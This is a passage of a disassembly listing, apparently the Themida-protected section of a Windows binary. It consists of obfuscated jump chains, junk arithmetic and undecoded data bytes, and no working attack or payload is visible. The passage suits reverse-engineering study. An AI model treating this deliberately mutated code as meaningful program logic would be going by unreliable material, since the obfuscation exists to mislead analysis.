		dd 0D8895528h, 58C5895Bh, 0EE8E9h, 3E6C000h, 0FE9CEE80h
		dd 66D6F6CEh, 87686651h, 14896622h, 0B5515024h,	2C49B074h
		dd 4CB1517Ah, 1018DE9h,	0FE56B400h, 0F6DCF6CCh,	7EF480DCh
		dd 48BE230h, 4C48324h, 0F280DAF6h, 0E9D18834h, 0E614h
		dd 68241C89h, 14BA7F6Eh, 10D81E9h, 24048700h, 0E3ADE9h
		dd 0A0ED8100h, 501DA341h, 9D5FCEB8h, 817FE922h,	0DF890000h
		dd 53241C8Bh, 4AE9E389h, 5F000083h, 4EC81h, 34890000h
		dd 81E68924h, 4C6h, 0F38CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56303A:				; CODE XREF: Themida_:0056C1FBj
		mov	edx, eax
		pop	eax
		pop	ecx
		sub	edx, 4B470758h
		jmp	loc_573B84
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 67h
		dd 0E90E9763h, 0FFFFF170h, 0FB26F381h, 0DA29D840h, 9C46E95Bh
		dd 24890000h, 24048124h, 4, 316C685Fh, 2C890000h, 4BD24h
		dd 60E90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56307F:				; CODE XREF: Themida_:0057101Fj
		mov	ecx, 3A5F1FAEh
		sub	eax, ecx
		jmp	loc_56D2B7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 59545124h, 0FFC7CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563099:				; CODE XREF: Themida_:005730FAj
		add	ebx, 1
		neg	ebx
		xor	ebx, 6B026211h
		sub	ebx, 3BD27DA3h
		jmp	loc_56EB3D
; ---------------------------------------------------------------------------


loc_5630AF:				; CODE XREF: Themida_:005707ADj
		pop	esi
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_56758F
; ---------------------------------------------------------------------------


loc_5630C4:				; CODE XREF: Themida_:00560814j
		add	edx, 4
		push	ecx
		mov	ecx, 68BD4DC0h
		or	ecx, 30F0581Ch
		sub	ecx, 646D2A78h
		add	ecx, 0EB6FCCA0h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_561D30
; ---------------------------------------------------------------------------
		db 24h,	6, 0E9h
		dd 2D0h, 4C4815Fh, 33000000h, 0C31240Ch, 240C3324h, 2824248Bh
		dd 0E99C2404h, 0FFFFB9C1h, 4C481h, 0EF810000h, 5E7B20B8h
		dd 15FFA89h, 0B83281C2h, 5A6FAF0Dh, 0FFB9A4E9h,	0CCC381FFh
		dd 1224A0Ch, 0CCEB81C3h, 58224A0Ch, 4BD55h, 0FDE90000h
		dd 540000B5h, 4C2815Ah,	53000000h, 6FF7B951h, 0E981224Ch
		dd 75C528EFh, 5095E181h, 0D1F76C16h, 685E9h, 4C08300h
		dd 0C037E9h, 2434FF00h,	0A345E9h, 7AA6B800h, 0C70D5FF0h
		dd 501C522h, 37FACADh, 0CE9C301h, 310000B8h, 2C33242Ch
		dd 24248B24h, 8B2434FFh, 0AFE92414h, 5700002Eh,	7DFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5631A9:				; CODE XREF: Themida_:0056C43Ej
		or	ebp, edi
		jmp	loc_56A72D
; ---------------------------------------------------------------------------


loc_5631B0:				; CODE XREF: Themida_:0056B4F1j
		mov	edx, 77FB5642h
		jmp	loc_56FFEA
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 8957240Ch, 0E18951E7h, 4C181h, 0E9810000h, 4, 19DAE9h
		dd 6CC0500h, 0D8297292h, 9206CC2Dh, 62055B72h, 0E90E4211h
		dd 0AD0Ah, 4C2815Ah, 68000000h,	0B17h, 81240489h, 4ECh
		dd 241C8900h, 8E0D0DBBh, 2FCB8172h, 4B2FCB54h, 0CB81E3D1h
		dd 3B41045Eh, 0A5C3814Bh, 89002041h, 0C2015BD8h, 8124048Bh
		dd 4C4h, 24143300h, 0E3E6E9h, 62BB5300h, 290E4211h, 0B0E95BD8h
		dd 31FFFFCBh, 2434FFC8h, 0FFDA05E9h, 67F405FFh,	0C589EBE9h
		dd 246C0158h, 9BE95D04h, 66000031h, 52240C8Bh, 81555A54h
		dd 4ECh, 24348900h, 360DFBBEh, 0A3BFE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56327A:				; CODE XREF: Themida_:005687F7j
		shr	esi, 6
		inc	esi
		shr	esi, 4
		add	esi, 6CE653EAh
		xor	ebp, esi
		pop	esi
		add	ebp, 0CEDEFD6Ch
		add	ecx, ebp
		pop	ebp
		jmp	loc_56FCAE
; ---------------------------------------------------------------------------


loc_563298:				; CODE XREF: Themida_:005674BFj
		shr	ecx, 8
		xor	ecx, 11C16A19h
		sub	ecx, 663A80F3h
		sub	ebp, ecx
		jmp	loc_56FCE0
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 0E9000000h, 0A7AAh
; ---------------------------------------------------------------------------


loc_5632B8:				; CODE XREF: Themida_:00571F41j
		mov	ebx, 4
		jmp	loc_566AF0
; ---------------------------------------------------------------------------


loc_5632C2:				; CODE XREF: Themida_:00561D2Bj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56A6D5
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 42367371h, 106EEE81h, 0EE8107FAh, 1,	349BA52h, 0DAF7301Eh
		dd 48E9EA87h, 8300007Dh, 148904ECh, 1CBA24h, 0BB530000h
		dd 70E11537h, 105DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_56330D:				; CODE XREF: Themida_:00565FEAj
		neg	edx
		xor	edx, 0DFAEF1DFh
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_56D0F2
; ---------------------------------------------------------------------------


loc_563322:				; CODE XREF: Themida_:00567E4Bj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56038D
; ---------------------------------------------------------------------------


loc_563342:				; CODE XREF: Themida_:00560024j
		add	ecx, 1
		jmp	loc_56CD6D
; ---------------------------------------------------------------------------
aBKBhsV		db 'ÁK~bhé»v',0
		dd 48B5A00h, 4C48124h, 80000000h, 0DAE9DAEBh, 890000AEh
		dd 82E9240Ch
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56336F:				; CODE XREF: Themida_:00573EDEj
		push	ebx
		jmp	loc_5603EF
; ---------------------------------------------------------------------------
aS0		db ')|$',8,'éß0',0
		align 2
		dw 0CF01h
		dd 0E9240C8Bh, 53CDh, 5C240487h, 1040FE9h
		db 0
; ---------------------------------------------------------------------------


loc_563391:				; CODE XREF: Themida_:00570707j
		pop	edi
		shl	edi, 1
		sub	edi, 1F262174h
		not	edi
		push	esi
		mov	esi, 0B7394613h
		xor	edi, esi
		pop	esi
		mov	ebp, edi
		jmp	loc_563B5B
; ---------------------------------------------------------------------------


loc_5633AC:				; CODE XREF: Themida_:00572E9Aj
		add	esp, 4
		push	ecx
		mov	ecx, 62881CA4h
		add	eax, 528F78B8h
		add	eax, 64FE34ECh
		jmp	loc_56C086
; ---------------------------------------------------------------------------
		dd 0F602E0C0h, 52F4E9D8h, 0CABB0000h, 815F3641h, 705594EBh
		dd 96F3871Ah, 8796D0F7h, 2DE381F3h, 8140306Bh, 427383C3h
		dd 24BE5657h, 8169F97Ch, 0EA1BEAC2h, 81F22920h,	0EA1BEAEAh
		dd 0EA815E20h, 4125340Fh, 0B1CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56340D:				; CODE XREF: Themida_:00565A36j
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 240C8B00h, 0F958E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563422:				; CODE XREF: Themida_:0056AD95j
		pop	ebx
		add	ebp, ebx
		jmp	loc_569532
; ---------------------------------------------------------------------------


loc_56342A:				; CODE XREF: Themida_:0056034Aj
		pop	eax
		jmp	loc_56CF97
; ---------------------------------------------------------------------------
		dd 8B243487h, 0E0C12424h, 0E9E8D105h, 0FFFFFE0Dh, 4C481h
		dd 0DE90000h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56344B:				; CODE XREF: Themida_:0056A922j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_57052D
; ---------------------------------------------------------------------------
		dw 685Dh
		dd 3AAh, 0E9240489h, 7F4Ah, 1A0F9FBBh, 5BDD014Ch, 83243C8Bh
		dd 0EC8304C4h, 0F4EEE904h, 81B0FFFFh, 5866C188h, 0E950B551h
		dd 18DCh, 0BB53F129h, 16125455h, 0C3814343h, 0DCAC825h
		dd 5E5BD929h, 5C240C87h, 81243C89h, 4ECh, 24248900h, 4240483h
		dd 36E9525Fh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5634C7:				; CODE XREF: Themida_:00564F81j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 126B52C4h
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		sub	esp, 4
		jmp	loc_56C67C
; ---------------------------------------------------------------------------


loc_5634E6:				; CODE XREF: Themida_:005728F5j
		pop	esp
		mov	[esp], eax
		mov	eax, 54B56CAh
		not	eax
		and	eax, 44E7428Eh
		xor	eax, 18C6360Dh
		sub	eax, 49B67677h
		push	ecx
		mov	ecx, 1
		jmp	loc_5644D7
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9042404h, 0AC81h, 42474FFh, 5F2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5716B8
; ---------------------------------------------------------------------------
		dd 0CDBE565Dh, 0E9197410h, 1FD0h, 6A23CA81h, 0B2E95A36h
		dd 1FFFFE4h, 3F12E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563552:				; CODE XREF: Themida_:0056AE1Bj
		push	dword ptr [esp+4]
		jmp	loc_562F5A
; ---------------------------------------------------------------------------
		db 81h
		dd 895694F7h, 0E9DFF728h, 7361h
; ---------------------------------------------------------------------------


loc_563568:				; CODE XREF: Themida_:00567078j
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 24193363h
		push	ecx
		jmp	loc_562AF4
; ---------------------------------------------------------------------------


loc_56357A:				; CODE XREF: Themida_:005725F7j
		sub	ebp, esi
		pop	esi
		pop	esi
		jmp	loc_565CAC
; ---------------------------------------------------------------------------


loc_563583:				; CODE XREF: Themida_:00566B1Dj
		push	eax
		mov	eax, 6AFC1D6Bh
		add	ecx, 83912AFh
		add	ecx, eax
		sub	ecx, 83912AFh
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 8621BF32h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	389Ah
		jmp	loc_562EF9
; ---------------------------------------------------------------------------
aVsN		db 'VéÓ',0
		dd 40500h, 4870000h, 0F0E95C24h, 46FFFFD4h, 390BC681h
		dd 0FEE93C0Eh, 81000015h, 4C4h,	0DF9BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635E6:				; CODE XREF: Themida_:0056712Dj
		xor	esi, 76E47599h
		and	esi, 176F532Fh
		shl	esi, 5
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		jmp	loc_560432
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 3E2D04C4h, 5A7DBC21h, 42B768h, 24148900h
		dd 8D58A0BAh, 0E9525765h, 0B2F5h
; ---------------------------------------------------------------------------


loc_563620:				; CODE XREF: Themida_:00561984j
		mov	ecx, [esp]
		jmp	loc_56AA2E
; ---------------------------------------------------------------------------
		dd 31243433h, 9EE92434h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563633:				; CODE XREF: Themida_:0056D660j
		pop	esp
		or	ebx, ebx
		jnz	loc_569DD5
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_55F7E5
; ---------------------------------------------------------------------------
		dw 5646h
		dd 5E2414F7h, 8105E6C1h, 4ECh, 241C8900h, 9978E9h
		db 0
; ---------------------------------------------------------------------------


loc_563665:				; CODE XREF: Themida_:0056F9CDj
		push	edx
		mov	edx, 0B8646CBh
		mov	ebx, 79A64F71h
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56126A
; ---------------------------------------------------------------------------
		db 29h,	0C7h, 58h
		dd 4247C01h, 242C8B5Fh,	0FDB6E9h, 3FBD5500h, 45384F2Bh
		dd 2B44F581h, 0EA89384Fh, 6448E95Dh, 44810000h,	43760424h
		dd 740169FAh, 6C810424h, 43760424h, 0F4E969FAh,	0B8000027h
		dd 4, 34FFC601h, 24048B24h, 8104C483h, 4C4h, 24348700h
		dd 4A30F5Ch, 0F2E99C24h, 5EFFFFB3h, 0C102E7C1h,	0F78104E7h
		dd 491D5FE6h, 0FFC8F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5636F1:				; CODE XREF: Themida_:00570566j
		mov	ebp, 15270F03h
		or	esi, ebp
		pop	ebp
		sub	esi, 5A8B3023h
		or	esi, 1BEA193Bh
		xor	esi, 0E07A80B1h
		xor	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55FB7B
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 4BF5724h, 81000000h,	0C704246Ch, 0E94DC621h,	0D121h
; ---------------------------------------------------------------------------


loc_563730:				; CODE XREF: Themida_:0057147Bj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_573ED2
; ---------------------------------------------------------------------------


loc_56373D:				; CODE XREF: Themida_:0056C016j
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dw 372Dh
		dd 0E9DF241Ch, 0FFFFED73h, 24048B66h, 25066855h, 24890000h
		dd 0CFF0E924h, 0EE81FFFFh, 4, 5C243487h, 7399E9h
		db 0
; ---------------------------------------------------------------------------


loc_56376D:				; CODE XREF: Themida_:0056CB4Ej
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	eax, ebx
		jmp	loc_573E39
; ---------------------------------------------------------------------------
aZ4SP		db '‡4$éì',0
		dw 5C00h
		dd 0E9241C30h, 0E629h, 0D182F381h, 0EF819740h, 4FBA0D7Ah
		dd 0C781DF01h, 4FBA0D7Ah, 0E9241C8Bh, 0FFFFFE27h
; ---------------------------------------------------------------------------


loc_5637B4:				; CODE XREF: Themida_:0056C634j
		mov	ecx, 4958643Dh
		jmp	loc_56CDAA
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 59AD3631h, 559C821h,	0F7C1DD9h, 5858C501h, 4EC81h, 14890000h
		dd 4BA24h, 0D5010000h, 242C875Ah, 0FF24248Bh, 0B2E3E930h
		dd 0E1C1FFFFh, 81D9F705h, 0C80024F1h, 59CB8980h, 0B1E9DA01h
		dd 83000025h, 148704EAh, 0C895C24h, 0E9505224h,	9ED6h
		dd 201F2D48h, 0C2014804h, 4C28358h, 0B0D5E9h, 1AE95C00h
		dd 5200007Fh, 0C281E289h, 4, 8704EA83h,	4FE92414h, 8B00001Ch
		dd 0C4832434h, 2E21E904h, 0C2810000h, 4, 5C241487h, 3CB95153h
		dd 0E9281A19h, 0FFFFED73h, 0D6F7E951h, 680000h,	29000000h
		dd 0E95B241Ch, 227Eh, 0F930CFFEh, 0F930CF30h, 0DBE95066h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563883:				; CODE XREF: Themida_:005688B0j
		mov	[esp], edx
		jmp	loc_5616E9
; ---------------------------------------------------------------------------
		db 81h
		dd 3946DBC5h, 81DDF74Dh, 4ECh, 241C8900h, 391C54BBh, 0D18EE950h
		dd 0BE560000h, 415163BCh, 0FFF022E9h, 242C33FFh, 8124248Bh
		dd 4ECh, 24348900h, 0C681E689h,	4, 4B850h, 0C6290000h
		dd 0E92434FFh, 8D76h, 81D7F75Fh, 0D2BA45F7h, 0E9F889E8h
		dd 0F0C9h
; ---------------------------------------------------------------------------


loc_5638E8:				; CODE XREF: Themida_:00573081j
		mov	ecx, 12202E1Ah
		neg	ecx
		or	ecx, 1E8F4957h
		add	ecx, 50103694h
		sub	ecx, 0E9C2BDACh
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_56B835
; ---------------------------------------------------------------------------
		db 81h
		dd 7E0C4BCBh, 0C8F38102h, 0E962E003h, 3DFBh, 0C681C601h
		dd 0D1E7EB8h, 1C68158h,	81000000h, 1F2837F6h, 0C8E977h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563936:				; CODE XREF: Themida_:0056EF70j
		mov	[esp], ecx
		mov	ecx, 2Ch
		sub	ecx, 245F7FCBh
		push	esi
		push	ebx
		push	3810337h
		pop	ebx
		add	ebx, 1
		xor	ebx, 77D3612Dh
		jmp	loc_55F8AE
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 0C38159CBh, 4, 5C241C87h, 5B2434FFh, 68E08950h
		dd 52E9h, 0E9241489h, 8553h, 26C680h, 192CE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56398E:				; CODE XREF: Themida_:0056A6E0j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		push	ebx
		push	565Ch
		jmp	loc_56F540
; ---------------------------------------------------------------------------
		dd 0BD55575Bh, 77E957B5h, 1726E9h, 4C48100h, 5A000000h
		dd 4C281h, 0C2810000h, 4, 8B241487h, 0E9512424h, 0AB4Dh
		dd 5F5EF529h, 31242C33h, 0BBE9242Ch, 810000FAh,	0DF2D14EDh
		dd 0E8295830h, 5D8015Dh, 63442E42h, 581ED52Dh, 0E1CCE963h
		dd 0BE56FFFFh, 195911D7h, 15EF329h, 0D7B951F3h,	1195911h
		dd 0A7F3E9CBh, 0BB530000h, 0F5E3A67h, 15BDE89h,	34FF5EF0h
		dd 57E95D24h
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563A2B:				; CODE XREF: Themida_:00571D56j
		xor	ecx, 8A3EAEE5h
		jmp	loc_567D8F
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFCFCBh, 5C241C87h, 4EC81h, 14890000h, 48CFBA24h
		dd 81421E53h, 5340D0EAh, 0FFD0211Eh, 34FF2434h,	24148B24h
		dd 4C481h, 54550000h, 81242C8Bh, 4C4h, 4C58100h, 56000000h
		dd 0A987E9h
		db 0
; ---------------------------------------------------------------------------


loc_563A7D:				; CODE XREF: Themida_:00569488j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_562BF6
; ---------------------------------------------------------------------------
aLSr		db '‹$$éà(',0
		align 2
		dw 4BBh
		dd 1000000h, 2E95BDEh, 29000052h, 241C8BD9h, 4C481h, 52550000h
		dd 0A964E9h, 35C0BA00h,	0D5012EF7h, 67ED815Ah, 29040015h
		dd 15BF57F5h, 0E96CB91Ch, 0E364h, 0EB805966h, 5BC380D7h
		dd 0E5AEE9h, 6C5F6800h,	1C890000h, 2434FF24h, 0E389535Eh
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 28A0h, 8324148Bh
		dd 3F6804C4h, 89000033h, 68B9240Ch, 31249A00h, 240C8BCBh
		dd 4C481h, 0DF010000h, 1025AE9h
		db 0
; ---------------------------------------------------------------------------


loc_563B1D:				; CODE XREF: Themida_:0056C885j
		mov	esi, 4CFD2139h
		not	esi
		or	esi, 6BE93190h
		shr	esi, 2
		jmp	loc_572D55
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 4D0C7B76h, 4EC81h, 4890000h,	49BFB824h, 0E8C13803h
		dd 180D0D08h, 0C7E97F18h, 310000E9h, 5EE95EF1h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563B5B:				; CODE XREF: Themida_:005633A7j
		pop	edi
		push	ebx
		jmp	loc_56640A
; ---------------------------------------------------------------------------


loc_563B62:				; CODE XREF: Themida_:00572D77j
		mov	ebp, esp
		push	edx
		mov	edx, 2E012B1Bh
		add	edx, 0D1FED4E9h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5605BD
; ---------------------------------------------------------------------------


loc_563B8B:				; CODE XREF: Themida_:0056713Cj
		add	bl, ch
		sub	bl, 59h
		pop	cx
		add	bl, 4Ch
		add	bl, 16h
		jmp	loc_56E8E5
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 5C241C33h, 0FFEB38E9h, 1A6859FFh, 8900002Fh,	0F4E9243Ch
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563BB7:				; CODE XREF: Themida_:0056BBCBj
		pop	ecx
		push	bx
		jmp	loc_56F884
; ---------------------------------------------------------------------------
		db 50h
		dd 0AF0BE99Ch, 48FFFFFh, 24048124h, 4, 1EBE565Bh, 814A5D32h
		dd 422F63C6h, 0FA6CE97Ah, 0C483FFFFh, 386FE904h, 0C890000h
		dd 442DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563BF2:				; CODE XREF: Themida_:0057286Aj
		pop	ebx
		jmp	loc_569F75
; ---------------------------------------------------------------------------
		dd 0E9F1B753h, 7FD0h
; ---------------------------------------------------------------------------


loc_563C00:				; CODE XREF: Themida_:005692FFj
		push	eax
		push	4
		jmp	loc_565521
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5E08950h, 4,	4B951h,	0C8010000h, 74FF5059h, 0A7E90424h
		dd 0C100004Dh, 0E6E908EBh, 8900007Ah, 58542404h, 405h
		dd 4EC8300h, 0BF243C89h, 4, 875FF829h, 248B2404h, 24148924h
		dd 2BAh, 0E9D00100h, 270Ah, 4EC81h, 8E90000h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C67:				; CODE XREF: Themida_:00562F34j
		add	esp, 4
		push	eax
		jmp	loc_566657
; ---------------------------------------------------------------------------
aPqDSsuv	db '(ÃPQ±„Ðéé“V',0
		dd 243C8B00h, 4C481h, 0F7010000h, 243C335Eh, 0E9243C31h
		dd 4E3Eh, 430DD8F7h, 53E9740h, 0C140BBB9h, 0E958C389h
		dd 0D9Fh, 2C781h, 3C870000h, 0F0305C24h, 0FCF4E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563CBA:				; CODE XREF: Themida_:005612C4j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_569EE1
; ---------------------------------------------------------------------------


loc_563CC8:				; CODE XREF: Themida_:0056D756j
		push	edx
		jmp	loc_5628FC
; ---------------------------------------------------------------------------
		dw 0B4B8h
		dd 215A0D55h, 0B85058C7h, 59B0729Ah, 3F054048h,	5012B62h
		dd 0C64F0E54h, 2958C701h, 0C5815FFDh, 0F69DB648h, 835DE801h
		dd 48704C0h, 55E95C24h,	290000DCh, 97A9E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563D0A:				; CODE XREF: Themida_:00568E0Ej
		mov	[esp], edx
		mov	edx, 465564Fh
		shr	edx, 8
		sub	edx, 0FFFFFFFFh
		inc	edx
		shl	edx, 6
		push	ebx
		mov	ebx, 43B9D299h
		sub	edx, ebx
		pop	ebx
		xor	ebp, edx
		pop	edx
		jmp	loc_55EEF6
; ---------------------------------------------------------------------------


loc_563D30:				; CODE XREF: Themida_:0056E4D1j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_56D907
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 2C58100h, 87000000h, 535C242Ch, 895280B3h, 4C281E2h
		dd 81000000h, 2EAh, 24148700h, 4D7EE9h,	5AD32900h, 2CB6BE56h
		dd 0EE8178D2h, 7CF02EA9h, 9D3DF681h, 0EE81C9E4h, 0F23F04BBh
		dd 7155E9h, 0EE895600h,	52E3E9h, 0C1815F00h, 23DD1C7Ch
		dd 0FFF6EFE9h
		db 0FFh, 53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56F035
; ---------------------------------------------------------------------------


loc_563DB2:				; CODE XREF: Themida_:00568B4Dj
		push	edx
		mov	edx, 61DB9A4Fh
		jmp	loc_56F52E
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 51000000h, 5B2434FFh, 4C481h, 0C8B0000h, 4C48324h, 34FFD929h
		dd 0E9525B24h, 0FFFFB02Fh, 8904EC83h, 92E92404h, 51000013h
		dd 0FFEEDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DF1:				; CODE XREF: Themida_:0056957Ej
		or	eax, eax
		jnz	loc_560E99
		push	32C7h
		jmp	loc_55F9E8
; ---------------------------------------------------------------------------
		db 66h
		dd 66EE8852h, 2454F652h, 885A6601h, 805A66F5h, 0EA28A4F5h
		dd 3D2C59h, 0AAB151D0h,	683FE180h, 0
		dd 8A240C28h, 0A6E9240Ch, 0F700000Ah, 4E7C1DFh,	1DC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_563E3D:				; CODE XREF: Themida_:0056B9D6j
		push	52DDh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56F075
; ---------------------------------------------------------------------------


loc_563E59:				; CODE XREF: Themida_:0056A3ABj
		mov	eax, 417470D6h
		mov	ebp, 417470D8h
		sub	ebp, eax
		pop	eax
		add	edx, 3B6A3BDBh
		add	edx, ebp
		sub	edx, 3B6A3BDBh
		jmp	loc_5691FD
; ---------------------------------------------------------------------------


loc_563E79:				; CODE XREF: Themida_:0057284Aj
		mov	ebp, 789558ABh
		jmp	loc_568E03
; ---------------------------------------------------------------------------


loc_563E83:				; CODE XREF: Themida_:00565522j
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, ebp
		jmp	loc_56FA5E
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 79h
		dd 29119423h, 242C8BE8h, 4C481h, 0BE2D0000h, 159D33Dh
		dd 3DBE05D8h, 62E959D3h, 1FFFFEAh, 1C8B59C8h, 4C48324h
		dd 3358C101h, 0C31240Ch, 240C3324h, 6624248Bh, 55240C8Bh
		dd 0F6BDE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 240C8B04h, 8F04C483h, 248B2404h, 243C8924h, 8904EC83h
		dd 64682414h, 5A4BD856h, 7ED1E9h, 1AE95100h, 830000E7h
		dd 0C8904ECh, 0D418E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563F26:				; CODE XREF: Themida_:0056129Dj
		mov	[esp], ebx
		jmp	loc_56D35C
; ---------------------------------------------------------------------------


loc_563F2E:				; CODE XREF: Themida_:00570645j
		shr	eax, 1
		add	eax, 4BAC0B78h
		or	eax, 52536272h
		dec	eax
		not	eax
		sub	eax, 89A01902h
		jmp	loc_56C1E7
; ---------------------------------------------------------------------------
		db 2Dh
		dd 577F0C15h, 5BEE9h, 4C48300h,	24A4BD55h, 0C38111FDh
		dd 4166257Ah, 0B6E9EB29h, 0B400006Dh, 80D4F6D5h, 0B2E936F4h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563F73:				; CODE XREF: Themida_:00560B84j
		shl	edx, 4
		push	4D68h
		mov	[esp], edi
		mov	edi, 43AB1E70h
		xor	edx, edi
		jmp	loc_5699E0
; ---------------------------------------------------------------------------


loc_563F8A:				; CODE XREF: Themida_:0056EAECj
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		push	ebx
		mov	ebx, 1C0A7AFDh
		xor	ebx, 5A27271Ah
		push	esi
		jmp	loc_571E5F
; ---------------------------------------------------------------------------


loc_563FA4:				; CODE XREF: Themida_:0057009Cj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	eax, esi
		pop	esi
		push	52DBh
		mov	[esp], esi
		mov	esi, 544B7C40h
		not	esi
		add	esi, 2F9F6EEAh
		or	esi, 3A4D0C56h
		jmp	loc_57396A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E9242C87h, 8638h, 2E9DE09h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563FE7:				; CODE XREF: Themida_:00561A91j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_56ADEB
; ---------------------------------------------------------------------------


loc_564005:				; CODE XREF: Themida_:005713C6j
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_570264
		sub	esp, 4
		jmp	loc_56E832
; ---------------------------------------------------------------------------
		dw 8058h
		dd 0BDE96DC2h, 8BFFFFC8h, 0BE562424h, 1C7D4089h, 0DCDBE9h
		dd 17E2BA00h, 0A9E92403h, 66FFFFEBh, 0E9240C8Bh, 2E1Dh
		dd 2E8268h, 361EE900h
		db 2 dup(0)
